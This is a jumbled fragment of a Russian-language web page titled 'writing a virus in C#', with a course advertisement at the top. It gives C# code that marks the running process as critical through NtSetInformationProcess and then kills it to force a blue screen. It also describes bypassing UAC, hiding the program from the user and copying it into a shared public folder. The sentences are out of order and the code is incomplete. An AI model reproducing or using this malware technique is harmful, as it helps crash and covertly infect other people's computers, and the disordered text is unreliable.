Хабр Курсы для всех
РЕКЛАМА
Практикум, Хекслет, SkyPro, авторские курсы — собрали всех и попросили скидки. Осталось выбрать!
А так же обход и отключение UAC.
using System.Diagnostics;
using System.Runtime.InteropServices;
[DllImport("ntdll.dll")]
public static extern int NtSetInformationProcess(IntPtr p, int c, ref int i, int l);
void _BSOD()
{
Process p = Process.GetCurrentProcess();
int g = 1;
NtSetInformationProcess(p.Handle, 29, ref g, 4);
p.Kill();
}
Чтобы сделать программу невидимой для пользователя нажимаем на форму в конструктере и изменяем следующие свойства:
Это нужно для того чтоб программа могла определять систему в которой запущена, и копироваться в общую папку.
С перезагрузкой посложнее, прибегнем к помощи WINAPI, допишем следующее
Программу нужно сделать невидимой для пользователя, готов спорить Visual Studio даст такую возможность.
public static string needPatch = "C:\\Users\\Public\\";
public Form1()
{
...
needPatch = "C:\\Documents and Settings\\All Users\\";
...
}
Пишем вирус на c#